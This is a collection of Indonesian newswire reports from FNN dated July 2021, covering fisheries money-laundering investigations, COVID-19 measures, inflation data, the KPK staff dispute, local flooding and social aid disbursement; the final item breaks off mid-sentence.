Jakarta, FNN - Pengamat kelautan dan Direktur Eksekutif Pusat Kajian Maritim untuk Kemanusiaan Abdul Halim mengapresiasi Putusan Mahkamah Konstitusi terkait Penyidik PNS Perikanan karena akan dapat mendorong warga melaporkan bila ada dugaan kasus pencucian uang di sektor perikanan dan kelautan. "Putusan MK mesti disambut secara positif oleh masyarakat, tidak terbatas pada KKP," kata Abdul Halim ketika dihubungi Antara di Jakarta, Jumat. Menurut dia, dengan putusan MK tersebut maka warga bisa lebih proaktif memberikan masukan kepada KKP berkenaan dengan adanya dugaan tindak pidana pencucian uang di bidang kelautan dan perikanan. Abdul Halim berpendapat, KKP mesti menerbitkan aturan pelaksana agar putusan tersebut bisa segera diimplementasikan dalam rangka memerangi praktek pencurian ikan dan pelanggaran HAM di sektor perikanan. Ia juga menyatakan perlu membangun sinergi untuk pemberantasan praktek pencucian uang di sektor perikanan dengan institusi lain seperti Polri. Sebelumnya, Kementerian Kelautan dan Perikanan (KKP) menyambut positif putusan Mahkamah Konstitusi terkait UU no 8/2010 sehingga Penyidik PNS Perikanan memiliki kewenangan menyidik tindak pidana pencucian uang yang berkaitan dengan tindak pidana perikanan. Plt. Direktur Jenderal Pengawasan Sumber Daya Kelautan dan Perikanan (PSDKP) KKP Antam Novambar menyatakan bahwa pihaknya bersyukur, dengan putusan MK ini PPNS Perikanan menjadi berwenang untuk menyidik tindak pidana pencucian uang yang selama ini ditengarai juga menjadi salah satu modus illegal fishing yang merupakan kejahatan terorganisir lintas negara. "Kewenangan penyidikan tindak pidana pencucian uang akan membuka peluang pengungkapan aktor intelektual atau kejahatan korporasi terkait illegal fishing," ungkap Antam yang juga merupakan Sekjen KKP. Antam juga menyampaikan apresiasi kepada PPATK dan KLHK yang telah bersinergi dan bekerja sama dalam mengajukan judicial review terhadap Penjelasan Pasal 74 Undang-Undang Nomor 8 Tahun 2010. Senada, Direktur Penanganan Pelanggaran Ditjen PSDKP, Teuku Elvitrasyah menyampaikan bahwa dengan kewenangan PPNS Perikanan dalam penyidikan TPPU memberikan harapan peningkatan pengembalian kerugian negara akibat tindak pidana di sektor kelautan dan perikanan. (mth)

Anis Matta: Persoalan Besar Pandemi Adalah Ketidakpastian Informasi

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menilai persoalan paling besar yang sedang dihadapi bangsa Indonesia pada masa pandemi adalah ketidakpastian informasi tentang COVID-19 yang simpang siur daripada penyakit itu sendiri. "Kondisi ini membuat para pasien menghadapi psikologis yang sangat akut, para dokter juga menghadapi persoalan tingkat keyakinan mereka dalam memberikan rekomendasi bagi pasiennya," kata Anis Matta dalam keterangannya di Jakarta, Jumat. Menurut dia, itu terjadi akibat banyaknya informasi saintifik bercampur informasi hoaks yang begitu cepat menyebar di tengah masyarakat. Di lain pihak, pengetahuan dokter saat ini tentang masalah COVID-19 juga masih terbatas. Hal itu, kata Anis Matta, membuat ada serangan besar terhadap optimisme. Hal itu penting dalam pendekatan keagamaan karena agama adalah sumber optimisme, bukan sumber fatalisme. "Agama menjadi langkah awal untuk memahami persoalan COVID-19 dan dapat menjauhkan diri dari sikap fatalis. Agama harus jadi sumber optimisme dan otorisasi sains jadi referensi utama menghindarkan disinformasi publik," ujarnya. Anis mengutip dalil yang menyebutkan bahwa Allah Swt. tidak pernah menurunkan suatu penyakit, tetapi juga bersamanya menurunkan obatnya. Menurut dia, agama menyuruh manusia bergantung pada Sang Pencipta, termasuk mencari kesembuhan dan obat dari penyakit COVID-19 ini. "Kemudian mengikuti seluruh rekomendasi dokter dan para saintis yang berhubungan dengan penyakit itu. Jadi, makna tawakal tidak boleh jadi sumber fatalisme, tetapi justru menjadi sumber optimisme. Di sinilah kita melangkah untuk menghadapi persoalan ini," katanya. Menurut dia, persoalan paling besar yang dihadapi Indonesia pada dasarnya adalah bukan sekadar pada penyakit baru yang namanya COVID-19, melainkan karena tingkat ketidakpastian akibat begitu banyaknya informasi yang simpang siur. (mth)

BI: Purwokerto-Cilacap Alami Deflasi Akibat Penurunan Konsumsi

Purwokerto, FNN - Penurunan konsumsi masyarakat pasca-Lebaran 2021 mengakibatkan wilayah Purwokerto dan Cilacap, Jawa Tengah, mengalami deflasi pada Juni 2021, kata Kepala Kantor Perwakilan Bank Indonesia (KPw BI) Purwokerto Samsun Hadi. "Berdasarkan data yang dirilis BPS (Badan Pusat Statistik), pada Juni 2021, Purwokerto mengalami deflasi sebesar 0,20 persen (month to month/mtm), sedangkan Cilacap mengalami deflasi 0,25 persen (mtm)," katanya dalam keterangan di Purwokerto, Kabupaten Banyumas, Jumat. Menurut dia, deflasi di Purwokerto dan Cilacap lebih rendah dibandingkan deflasi Jawa Tengah yang sebesar 0,17 persen dan nasional yang sebesar 0,16 persen. Ia mengatakan deflasi juga dialami oleh seluruh kabupaten/kota penghitungan indeks harga konsumen (IHK) di Jawa Tengah. Secara tahunan, kata dia, inflasi di Purwokerto maupun Cilacap tercatat masing-masing sebesar 1,02 persen (year on year/yoy) dan 1,03 persen (yoy) atau berada di bawah rentang target inflasi sebesar 3 plus dan minus 1 persen. "Secara umum, deflasi pada Juni 2021 (mtm) yang terjadi di Purwokerto dan Cilacap tercatat cukup dalam, terutama didorong oleh tingkat konsumsi masyarakat yang menurun menjadi normal pascaberlalunya momentum Lebaran 2021 sebagaimana tercermin dari penurunan harga pada kelompok makanan dan minuman serta tembakau, juga dampak masih terbatasnya mobilitas masyarakat di tengah peningkatan kasus COVID-19 yang juga turut mempengaruhi," katanya menjelaskan. Pada kelompok transportasi, kata dia, deflasi periode Juni terjadi setelah bulan sebelumnya mengalami inflasi yang cukup tinggi di atas rata-rata historisnya seiring kenaikan tarif angkutan antarkota akibat meningkatnya permintaan menjelang hingga setelah Idul Fitri di tengah adanya larangan mudik dan pembatasan kendaraan yang dapat beroperasi. "Capaian inflasi tahunan pada bulan Juni 2021 di Purwokerto lebih rendah dibandingkan rata-rata historis inflasi bulan Juni dalam dua tahun terakhir (2018 hingga 2019) yang sebesar 1,67 persen (yoy). Demikian pula dengan Cilacap, juga lebih rendah dibandingkan rata-rata historis inflasi bulan Juni dalam dua tahun terakhir (2018 hingga 2019) yang sebesar 2,02 persen (yoy)," katanya. Samsun mengatakan koordinasi antara Bank Indonesia, pemerintah daerah, dan pihak terkait lainnya akan terus dilakukan sebagai upaya untuk menjamin ketersediaan pasokan, kelancaran distribusi, dan keterjangkauan harga khususnya untuk bahan kebutuhan pokok. (mth)

BUMN-Lembaga di Bawah Kemenkeu Setorkan Dividen Rp3,1 Triliun

Jakarta, FNN - BUMN/lembaga yang berada di bawah Kementerian Keuangan (Kemenkeu) dalam kurun waktu lima tahun terakhir yakni 2016 sampai 2020 telah menyetorkan dividen sebesar Rp3,1 triliun kepada pemerintah. Direktur Kekayaan Negara Dipisahkan Direktorat Jenderal Kekayaan Negara Kemenkeu Meirijal Nur menyatakan BUMN/Lembaga tersebut juga telah membayar pajak Rp7,3 triliun dalam periode yang sama. “Ini angka dividen yang sudah disetorkan oleh BUMN dan lembaga di bawah Kementerian Keuangan,” katanya dalam diskusi daring di Jakarta, Jumat. Meirijal merinci untuk dividen dengan total Rp3,1 triliun meliputi Rp444 miliar pada 2016, Rp476,08 miliar pada 2017, Rp587,63 miliar pada 2018, Rp716,1 miliar pada 2019, dan Rp887,18 miliar pada 2020. Sementara untuk setoran pajak sebesar Rp7,3 triliun terdiri dari Rp1,32 triliun pada 2016, Rp1,39 triliun pada 2017, Rp1,38 triliun pada 2018, Rp1,66 triliun pada 2019, dan Rp1,52 triliun pada 2020. Meirijal menuturkan pemerintah ingin dividen dari BUMN/lembaga di bawah Kemenkeu ini dapat meningkat terus setiap tahun dan untuk 2021 diharapkan dapat mencapai Rp1 triliun. “Kalau harapan kita sih inginnya 2021 bisa mencapai Rp1 triliun, tapi kami katakan dividen bukan target utama,” ujarnya. Meirijal menegaskan prestasi BUMN/lembaga tidak hanya diukur dari besaran dividen atau pajak yang disetor melainkan juga dampak-dampak yang dirasakan masyarakat sehingga memberikan akselerasi bagi pertumbuhan ekonomi. Hal ini sejalan dengan misi BUMN/lembaga sebagai agent of development sehingga merupakan perpanjangan tangan pemerintah dalam melakukan pembangunan-pembangunan bagi negara. “Pemerintah dalam mengelola BUMN ini tidak hanya melihat seberapa besar dividen yang disetorkan tapi juga seberapa besar dampak aktivitas BUMN terhadap perekonomian,” tegasnya. Sementara itu pemerintah sendiri telah melakukan investasi jangka panjang permanen kepada sejumlah BUMN, Badan Layanan Umum (BLU), dan lembaga lainnya. Hingga 2020 investasi permanen yang dilakukan oleh pemerintah sebesar Rp3.031 triliun termasuk di dalamnya berupa Penyertaan Modal Negara (PMN) kepada BUMN/lembaga di bawah Kemenkeu sebesar Rp82,1 triliun. (mth)

Pimpinan KPK Tak Akan Cabut Berita Acara Rakor Tindak Lanjut Hasil TWK

Jakarta, FNN - Pimpinan Komisi Pemberantasan Korupsi (KPK) tidak dapat memenuhi permintaan sejumlah pegawai yang tak lulus Tes Wawasan Kebangsaan (TWK) untuk mencabut atau membatalkan berita acara rapat koordinasi tindak lanjut hasil TWK. Hal tersebut diketahui dalam surat nomor R/1817/HK.07/01-50/06/2021 tertanggal 30 Juni 2021 ditandatangani oleh Wakil Ketua KPK Alexander Marwata yang beredar di kalangan awak media, Jumat. Surat tersebut merupakan tanggapan Pimpinan KPK atas surat keberatan atas keberatan tindak lanjut hasil tes asesmen wawasan kebangsaan dalam rangka pengalihan pegawai KPK menjadi Aparatur Sipil Negara (ASN). "Kami sampaikan bahwa pimpinan KPK tidak dapat memenuhi permintaan saudara untuk mencabut/membatalkan berita acara rapat koordinasi tindak lanjut hasil asesmen Tes Wawasan Kebangsaan dalam rangka peralihan status pegawai KPK yang menjadi ASN tanggal 25 Mei 2021," demikian yang tertuang dalam surat tersebut. Dalam surat tersebut, Pimpinan KPK menyampaikan empat hal atas surat keberatan dari sejumlah pegawai tersebut. Pertama, berita acara rapat koordinasi tindak lanjut hasil TWK pada 25 Mei 2021 merupakan hasil kesepakatan bersama Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo, Menteri Hukum dan Hak Asasi Manusia (Menkumham) Yasonna H Laoly, Kepala Badan Kepegawaian Negara (BKN) Bima Haria Wibisana, Kepala Lembaga Administrasi Negara (LAN) Adi Suryanto, dan Ketua Komisi Aparatur Sipil Negara (KASN) Agus Pramusinto. Kedua, keikutsertaan pimpinan kementerian/lembaga terkait dalam rapat koordinasi tersebut sesuai dengan ketentuan Pasal 25 ayat (1) dan ayat (2) Undang-Undang Nomor 5 Tahun 2014 tentang ASN yang menentukan adanya kementerian/lembaga terkait yang dapat menerima delegasi wewenang dari Presiden untuk menyelenggarakan kebijakan, pembinaan profesi, dan manajemen ASN. Ketiga, hasil rapat koordinasi tersebut dituangkan dalam bentuk berita acara yang ditandatangani para pihak yang hadir. Substansinya berisi kesepakatan bersama yang bersifat umum mengenai rencana tindak lanjut hasil asesmen TWK meliputi tindak lanjut 1.271 pegawai yang lulus TWK, tindak lanjut 24 pegawai yang akan mengikuti pendidikan dan pelatihan bela negara, dan tindak lanjut 51 pegawai yang akan diberhentikan dengan hormat. "Keempat, berkenaan dengan dalil-dalil keberatan yang saudara nyatakan dalam surat saudara, kami tidak akan memberikan tanggapan karena hal tersebut hanya hasil analisa saudara, yang tentunya berbeda dengan hasil analisa KPK," demikian Pimpinan KPK dalam surat itu. Sebelumnya, Pegawai KPK yang tak lulus TWK Hotman Tambunan mempertanyakan sikap Ketua KPK Firli Bahuri yang menarik-narik lembaga lain untuk memberhentikan pegawai. Sikap itu terlihat dari berita cara tanggal 25 Mei 2021 yang beredar, di dalamnya ada pimpinan empat lembaga yang ikut menandatanganinya. Di dalam berita acara tersebut, terdapat keputusan pemberhentian 51 pegawai yang dinyatakan tidak lulus TWK. Untuk menyampaikan keberatannya secara resmi, Hotman dan sejumlah pegawai mengirimkan surat keberatan yang ditujukan kepada Pimpinan KPK, Menpan RB, Menkumham, Kepala BKN, Kepala LAN, dan Ketua KASN. "Kami merasa ini adalah bentuk kesewenang-wenangan pejabat negara, tidak ada aturan yang memberi kewenangan kepada mereka untuk ikut memutuskan pengangkatan dan pemecatan pegawai KPK. Perbuatan seperti ini adalah kategori kesewenang-wenangan yang sangat dilarang sebagaimana Pasal 17 dan 80 UU Nomor 30 Tahun 2014 tentang Administrasi Pemerintahan," kata Hotman dalam keterangannya di Jakarta, Senin (21/6). (mth)

Warga Murung Raya Banjarmasin Keluhkan Jalan Raya Sering Banjir

Banjarmasin, FNN - Warga Kelurahan Murung Raya, Banjarmasin Selatan, Kota Banjarmasin, Kalimantan Selatan, mengeluhkan jalan raya di wilayah mereka sering banjir, di saat air sungai pasang atau hujan lebat. "Jalan raya di kelurahan kami rendah, sehingga sering banjir, kami harap dewan memperjuangkan perbaikan dan peninggian jalan di lingkungan kami," ujar salah seorang warga Murung Raya A Yani saat mengiluti kegiatan reses DPRD Kota Banjarmasin di kantor Kecamatan Selatan, Jumat. Menurut Ketua RT 20 ini, hampir semua badan jalan sering tergenang apabila terjadi air sungai pasang, demikian juga saat hujan lebat terjadi. "Jadi sangat mengganggu perjalanan pengendara," tuturnya. Anggota DPRD Kota Banjarmasin Hj Hilyah Aulia menyampaikan aspirasi masyarakat Murung Raya tentang jalan raya wilayah mereka yang sering banjir menjadi salah satu poin penting yang jadi perhatian pihaknya dalam gelar reses ini. "Memang betul kondisi jalan di sana sering banjir, ini catatan kita untuk diperjuangkan," ujar politisi PKB tersebut. Menurut dia, kondisi jalan banjir di Murung Raya memang jadi langganan, apalagi saat musibah banjir dulu atau pada pertengahan bulan awal tahun tadi. "Di sana saat banjir paling rendah genangan setinggi lutut, bahkan sebagian wilayah sampai pinggang," tuturnya. Hilyah Aulia yang kebetulan di Komisi III, yakni bermitra dengan instansi pemerintah kota pelaksanaan pembangunan infrastruktur jalan maupun jembatan, akan membicarakan lebih lanjut terkait kondisi infrastruktur jalan dan lainnya di Kelurahan Murung Raya tersebut. "Jadi masalah ini akan jadi pokok pikiran kami pada saat musyawarah pembangunan (Musrenbang) dengan pemerintah kota nantinya," tutur Hilyah Aulia. Anggota DPRD Kota Banjarmasin dari Fraksi PDIP M Natsir menyampaikan, kondisi jalan sering tergenang di Murung Raya itu karena terjadinya air pasang dan hujan lebat. "Kalau jalannya sudah bagus, beraspal, tapi memang sering banjir," ucapnya. Kondisi ini, kata dia, memang harus dikaji lebih lanjut untuk penanganannya, tidak hanya untuk perbaikan atau peninggian jalan, tapi juga hal lainnya. "Kalau pengamatan saya, pertama itu harus dilakukan perbaikan siring sungai, kemudian pengerukan sungai, karena dua ini bagian yang terkait sering terjadi genangan itu," ujarnya. Natsir menyampaikan, pemerintah memang harus segeranya memberi perhatian bagi wilayah Murung Raya ini, karena di sana terdapat 27 rukun tetangga (RT) yang mengeluh kondisi infrastruktur masih belum sempurna tersebut. "Kami di dewan pastinya berkomitmen untuk memperjuangkan aspirasi masyarakat ini, segala aspirasi yang kami terima pada saat reses ini," katanya. (mth)

Gedung Putih Kirim Tim Khusus COVID Perangi Varian Delta

Washington, FNN - Gedung Putih pada Kamis (1/7) mengatakan akan mengirimkan tim khusus ke titik nyala di seluruh Amerika Serikat guna memerangi varian COVID-19 Delta yang sangat menular dan meminta warga Amerika agar disuntik vaksin. Penasihat senior COVID-19 Gedung Putih Jeffrey Zients mengatakan kepada wartawan bahwa tim "respons lonjakan" siap mempercepat pasokan tes tambahan dan terapi kepada masyarakat yang mengalami lonjakan kasus COVID-19. Jumlah kasus COVID-19 selama sepekan di AS naik 10 persen sejak pekan lalu, menurut Pusat Pencegahan dan Pengendalian Penyakit AS (CDC), Rochelle Walensky pada Selasa (29/6). Varian Delta yang lebih mudah menular, yang awalnya terdeteksi di India, diperkirakan menjadi varian COVID-19 paling umum di AS, tambahnya. "Jelas bahwa masyarakat di mana orang-orang masih tidak divaksin adalah komunitas yang masih rentan," katanya, menambahkan bahwa lebih dari 1.000 daerah di AS mencatat tingkat vaksinasi di bawah 30 persen. Zients mengatakan personel federal akan membantu komunitas dengan menyediakan staf kesehatan masyarakat dan CDC akan menyediakan bantuan untuk menangani potensi wabah. AS masih menjadi negara yang terdepan dalam vaksinasi COVID-19 di dunia. Lebih dari 180 juta warga Amerika telah menerima sedikitnya satu dosis vaksin. (mth)

Imigrasi Pertanyakan Kapal Iran Bersandar di Dermaga Sabang

Banda Aceh, FNN - Kantor Imigrasi Kelas II TPI Sabang bersama Kanwil Kemenkumham Aceh melakukan koordinasi dengan Kedutaan Besar Republik Islam Iran di Jakarta terkait keberadaan Kapal 18066 yang diduga berbendera Iran, bersandar di dermaga pasiran Sabang. Kepala Divisi Keimigrasian Kanwil Kemenkumham Aceh Sjachril mengatakan upaya koordinasi tersebut dilakukan guna mengetahui status Kapal 18066 yang diduga milik warga Iran, dan hingga kini masih bersandar di Pulau Weh, Sabang. “Kantor Imigrasi Kelas II TPI Sabang telah mengirimkan surat kepada pihak Kedutaan Besar Republik Islam Iran perihal permohonan bantuan konfirmasi status kepemilikan Kapal 18066,” kata Sjachril dalam keterangan diterima di Banda Aceh, Jumat. Kedatangan Sjachril dan Kepala Kantor Imigrasi Kelas II TPI Sabang Hanton Hazali beserta pejabat lain disambut langsung Third Consellor Kedubes Republik Islam Iran untuk Indonesia A Salighe Dar beserta Public Diplomacy Officer Ali Pahlevani Rad. Menurut Sjachril, sejak menerima surat konfirmasi dari Imigrasi Sabang, Kedubes Iran langsung berkoordinasi dengan intansi terkait di negaranya, dan hasilnya terdapat tiga pihak yang menyatakan kepemilikan atas Kapal 18066. “Selanjutnya pihak Kedubes Iran juga mengatakan siap bekerjasama penuh untuk menyelesaikan persoalan ini,” katanya. Menurut Sjachril apabila tidak ditemukan kejelasan atas status kepemilikan Kapal 18006, maka pihaknya meminta agar Kedubes Iran dapat menghibahkan kapal itu kepada Kantor Imigrari Sabang secara tertulis untuk dapat dilakukan proses lebih lanjut. “Dalam waktu dekat, pihak kedutaan juga akan berkunjung ke Kota Sabang untuk melakukan surveo terhadap kapal tersebut,” katanya. Kata dia Kedubes Repulik Islam Iran juga mengapresiasi langkah koordinasi yang dibangun Kantor Imigrasi Sabang, yang merupakan bagian dari implementasi fungsi keimigrasian di wilayah kerja pulau paling barat Indonesia itu. “Kerjasama dan koordinasi dengan berbagai instansi diharapkan dapat memecahkan persoalan secara bersama-sama,” katanya. ( sws)

Tips Ciptakan Suasana Harmonis Selama PPKM Darurat

Jakarta, FNN - Memasuki masa PPKM darurat yang akan dimulai besok, dibutuhkan beberapa persiapan. Tak hanya sekadar logistik seperti keperluan rumah tangga tapi juga sisi psikologis anggota keluarga untuk menciptakan suasana yang harmonis Psikolog anak dan keluarga, Anna Surti Ariani, S.Psi., M.Si., psikolog dari Klinik Terpadu Universitas Indonesia mengatakan selama masa pandemi sejak tahun 2020, banyak ditemukan kasus di mana setiap anggota keluarga merasa stres karena berada di rumah dan bertemu secara terus-menerus. Berbagai masalah yang timbul sering kali membuat keluarga lebih sulit untuk menciptakan kebahagiaan di saat PPKM, padahal sebetulnya justru momen ini memiliki peluang yang besar untuk bisa menciptakan kebahagiaan lagi di keluarga. "Jadi yang pertama perlu disadari adalah ini adalah sesuatu yang tidak bisa kita kontrol begitu saja sehingga let it go, ya sudah terima aja bahwa kita harus di rumah," ujar Anna saat dihubungi ANTARA pada Jumat. "Setelah kita bisa menerima bahwa kita harus di rumah aja, sesungguhnya itu sudah bisa membuat dasar yang baik untuk keluarga kita, apa boleh buat saya harus di rumah bersama orang-orang ini," lanjut Anna. Hal pertama yang harus dilakukan saat di rumah adalah menjaga rutinitas harian. Usahakan untuk selalu memulai hari di waktu yang relatif sama. Sebisa mungkin untuk melakukan kegiatan bersama keluarga, seperti menyediakan waktu untuk makan bersama pada waktu tertentu. Rutinitas yang teratur ini dapat membawa dampak yang positif baik untuk fisik ataupun psikis. "Ternyata waktu kita mengubah rutinitas kita, itu berdampak pada fisik dan psikis lalu berdampak pada relasi dalam keluarga," ujar Anna. "Jadi penting sekali untuk mengembalikan rutinitas, usahakan kita bangun jangan yang meleset banget dan tidur juga bukan yang meleset tapi menjaga keteraturan demi menjaga kesehatan fisik dan mental," imbuhnya. Setelah rutinitas, sempatkan untuk berbincang sederhana bersama keluarga. Pilihlah topik-topik yang ringan dan usahakan untuk menghindari masalah yang rumit dan serius, sebab hal ini justru akan menciptakan suasana yang tidak nyaman. "Enggak usah lama-lama tapi paling enggak ada lah. Ngobrol yang senang-senang aja kalau yang berat-berat nanti dulu, abaikan saja. Kasih waktu tersendiri untuk pembicaraan yang penting atau masalah yang perlu diselesaikan," kata Anna. Anna juga mengatakan penting bagi para anggota keluarga untuk saling mengerti, menghargai dan memahami kebutuhan satu sama lain. Jika hal ini tercapai maka akan tercipta suasana yang harmonis sehingga berdiam di rumah dengan keluarga bukanlah hal yang mengerikan. "Itu juga akan meningkatkan kenyamanan di dalam keluarga dan itu bisa menimbulkan keharmonisan," kata Anna.. (sws)

Habib Rizieq Shihab Tak Serahkan Bukti Baru Saat Banding Kasus RS UMMI

Jakarta, FNN – Habib Rizieq Shihab dan tim kuasa hukum tidak menyerahkan bukti baru dalam banding perkara tes usap RS UMMI Bogor. Anggota tim kuasa hukum Habib Rizieq Shihab, Aziz Yanuar, mengatakan pihaknya menggunakan bukti lama yang sebelumnya disampaikan di Pengadilan Negeri Jakarta Timur. "Tidak ada bukti baru. Bukti yang lama saja, tidak dilihat," kata Aziz Yanuar saat dikonfirmasi di Jakarta, Jumat. Aziz Yanuar mengatakan bahwa seharusnya bukti-bukti yang telah dihadirkan dalam sidang tes usap RS UMMI Bogor di Pengadilan Negeri Jakarta Timur sudah membantah dakwaan dan tuntutan jaksa. Sementara itu, Kepala Humas Pengadilan Negeri Jakarta Timur Alex Adam Faisal mengatakan pihaknya telah menerima pernyataan banding para terdakwa tes usap RS UMMI. Alex Adam Faisal mengatakan Habib Rizieq Shihab dan Hanif Alatas menyerahkan surat pernyataan banding pada Rabu (30/6). Sedangkan dr. Andi Tatat menyerahkannya pada Selasa (29/6). Nantinya surat pernyataan banding itu akan diserahkan kepada jaksa yang membuat kontra memori sebelum Pengadilan Negeri Jakarta Timur melimpahkan berkas perkara ke tingkat Pengadilan Tinggi Jakarta DKI Jakarta. "Lalu prosesnya lagi, akan ada pemberitahuan untuk inzage (melihat atau memeriksa berkas perkara), yaitu pemberitahuan untuk melihat berkas. Mereka akan dipanggil melihat berkas, ada catatan atau tidak dari mereka," tutur Alex. Majelis Hakim Pengadilan Negeri Jakarta Timur menyatakan ketiga terdakwa tersebut terbukti bersalah melakukan tindak pidana sebagaimana pasal 14 ayat 1 UU Nomor 1 tahun 1946 tentang Peraturan Hukum Pidana. Majelis Hakim Pengadilan Negeri Jakarta Timur kemudian menjatuhkan vonis empat tahun penjara untuk Habib Rizieq Shihab, sedangkan dua terdakwa lainnya divonis satu tahun penjara. (mth)

Dalang Ki Manteb Soedarsono Meninggal Dunia

Karanganyar, FNN -- Dalang ternama Ki Manteb Soedarsono meninggal dunia pada usia 73 tahun di rumahnya di Dusun Sekiteran, Kelurahan Doplang, Kecamatan Karangpandan, Kabupaten Karanganyar, Jawa Tengah, pada Jumat pukul 09.45 WIB menurut keluarga. Sekretaris Desa Doplang Ade Irawan, yang merupakan keponakan Ki Manteb, mengatakan bahwa Ki Manteb Soedarsono meninggal dunia pukul 09.45 WIB karena sakit. Menurut dia, Ki Manteb Soedharsono kondisi kesehatannya menurun sejak Senin (28/6), setelah melakukan siaran langsung pertunjukan wayang kulit. Kondisi kesehatan dalang wayang kulit termasyhur itu kemudian sempat membaik, namun menurun lagi pada Kamis (1/7). Keluarga hendak membawanya ke rumah sakit namun karena rumah sakit penuh Ki Manteb akhirnya hanya bisa menjalani perawatan di rumah hingga meninggal dunia. Ki Manteb Soedarsono meninggalkan enam anak dan satu anak angkat serta seorang istri. Jenazah Ki Manteb menurut rencana dimakamkan di permakaman keluarga di Dusun Keliteran RT 02 RW 08 di Desa Doplang dengan menerapkan protokol kesehatan untuk mencegah penularan COVID-19 pada Jumat. (sws)

Stok Oksigen Jawa Barat Tipis

Bandung, FNN - Gubernur Jawa Barat (Jabar) M Ridwan Kamil atau Kang Emil menugaskan BUMD PT Jasa Sarana membantu suplai oksigen ke sejumlah rumah sakit yang mengalami kondisi kritis ketersediaan bahan penting tersebut karena membludaknya pasien COVID-19. "Sudah kami tugaskan BUMD Jasa Sarana melakukan manajemen suplai oksigen untuk RS di Jabar, sehingga kami punya data mana yang kelebihan dan kekurangan," katanya di Bandung, Jumat. Kang Emil mengatakan secara umum produksi oksigen di Jawa Barat terkendali, namun pihaknya harus memperbaiki neraca kebutuhan dan kekurangan daerah. Oleh karena itu, Kang Emil mengimbau masyarakat Jabar yang sedang menjalani isolasi mandiri (isoman) untuk tidak berlomba-lomba menstok tabung oksigen. "Kita dahulukan rumah sakit yang menurut kajian dokter perlu menggunakan tabung oksigen. Kalau yang isoman berasumsi sendiri untuk cadangan dan lain-lain, nanti menimbulkan kewalahan suplai untuk rumah sakit yang lebih darurat," kata dia. Sementara itu, Direktur Utama Jasa Sarana Hanif Mantiq mengatakan pihaknya sejak awal sudah ditugaskan Pemerintah Provinsi Jawa Barat membantu penyediaan infrastruktur kesehatan baik untuk rumah sakit dan juga penanganan kebutuhan logistik COVID-19. "Sekarang, kami diminta pemerintah provinsi membantu distribusi oksigen, memperlancar distribusi ke rumah sakit," kata Hanif. Menurut dia, berdasarkan kajian awal, kebutuhan oksigen di sejumlah rumah sakit mengalami lonjakan karena meningkatnya pasien COVID-19. Sementara, produsen dan rantai pasok mengalami keterbatasan armada pengiriman dan ada produksi oksigen juga terkendala ketersediaan tabung oksigen hingga membuat pasokan tidak normal. "Karena kendala ini, pihak rumah sakit diminta melakukan pengiriman mandiri atau mengambil langsung, kita terlibat di sana. Kita membantu mengambil oksigen untuk dikirim ke rumah sakit. Apakah nanti kendala pengiriman oksigen ada di produsen, distributor, atau agen, kami menyesuaikan kondisi di lapangan saja," kata Hanif. Saat ini, Jasa Sarana udah memiliki pengalaman lewat anak usaha PT Jabar Laju Transindo yang bekerja sama dengan PT Jasa Medivest untuk mengambil limbah medis di 500 titik fasilitas layanan kesehatan yang ada di Jawa Barat. Menurut Hanif, keterampilan dan SDM Jabar Laju Transporter nantinya akan diadopsi oleh anak perusahaan lain yakni Usaha Bersama Jabar (UBJ) yang terlibat dalam penugasan pasokan oksigen ini. "Sehingga diharapkan skill UBJ nanti bisa mengatur pengiriman oksigen ke rumah sakit," ujar hanif Untuk membantu proses kelancaran distribusi oksigen ini pihaknya sudah menyiapkan 10 armada truk yang siaga jika diperintah oleh Satgas Penanganan COVID-19 Jawa Barat untuk mengirim oksigen ke rumah sakit. "Kami siapkan SDM dan armada, posisi Jasa Sarana di sini sebagai back up system. Pengambilan oksigen bisa fokus di Jawa Barat atau jika darurat mengambil ke luar Jawa Barat kami siap," ujar Hanif. (sws)

Pemerintah Cairkan Dana PKH dan Kartu Sembako pada Awal Juli

Jakarta, FNN - Pemerintah memutuskan untuk mempercepat pencairan dana Program Keluarga Harapan (PKH) dan Kartu Sembako pada awal Juli 2021 sebagai respons terhadap penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) darurat. "Kuartal ketiga ini kita akan mempercepat penyalurannya pada bulan Juli sehingga KPM akan mendapatkan tiga bulan sekaligus di bulan Juli ini dan diharapkan akan memperkuat daya tahan sosial dari para keluarga PKH dan keluarga PHK juga mendapatkan penyaluran Kartu Sembako," kata Menteri Keuangan (Menkeu) Sri Mulyani Indrawati saat konferensi pers daring di Jakarta, Jumat. Menkeu Sri Mulyani menyampaikan alokasi penyaluran PKH untuk 2021 sebesar Rp28,31 triliun dengan realisasi hingga kuartal II baru Rp13,96 triliun dengan rincian Rp6,83 triliun pada kuartal I untuk 9,67 juta Keluarga Penerima Manfaat (KPM) dan Rp7,3 triliun pada kuartal II untuk 9,9 juta KPM. "Kita berharap bisa mencapai target komplit 10 juta KPM dan indeks harga berbeda-beda tergantung dari komposisi keluarganya," ujar Sri Mulyani. Sri Mulyani menyebutkan indeks bantuan yang diterima oleh ibu hamil dan anak usia dini sebesar Rp3 juta per tahun, untuk SD Rp900 ribu per tahun, SMP Rp1,5 juta per tahun, SMA Rp2 juta per tahun, serta disabilitas dan lansia sebesar Rp2,4 juta per tahun. Sedangkan untuk alokasi kartu sembako sebanyak Rp42, 37 triliun, namun realisasi hingga Juni baru mencapai Rp17,75 triliun dengan realisasi output 15,9 juta KPM dari target total 18,8 juta KPM. Kementerian Sosial, lanjutnya, sudah diminta untuk mempercepat penyaluran dan memenuhi target 18,8 juta penerima sesuai dengan alokasi anggaran. "Jadi masih ada ruangan hampir 3 juta kelompok penerima yang bisa diberikan kartu sembako sebesar Rp200 ribu per bulan," jelasnya Selain itu pemerintah juga memperpanjang Bantuan Sosial Tunai (BST) selama 2 bulan untuk meringankan masyarakat terdampak pelaksanaan PPKN darurat. Sri Mulyani menyampaikan BST pada awalnya hanya diberikan untuk empat bulan yakni Januari hingga April dengan realisasi sebesar Rp11, 94 triliun untuk 9,6 juta KPM dengan indeks bantuan sebesar Rp300 ribu per/KPM/bulan. Kemudian pemerintah menambah anggaran Rp6,1 triliun untuk perpanjangan BST dengan target 10 juta KPM di 34 provinsi yang disalurkan satu kali pada bulan Juli sebesar Rp300 ribu/bulan. Pemerintah, kata dia akan menggunakan data penyaluran pada Januari dan April. "Anggarannya disediakan untuk 10 juta yaitu Rp6,1 triliun sehingga untuk BST ini total alokasi nya adalah mencapai Rp18,04 triliun dari Januari plus dua bulan yang sekarang kita akan berikan," ujar Sri 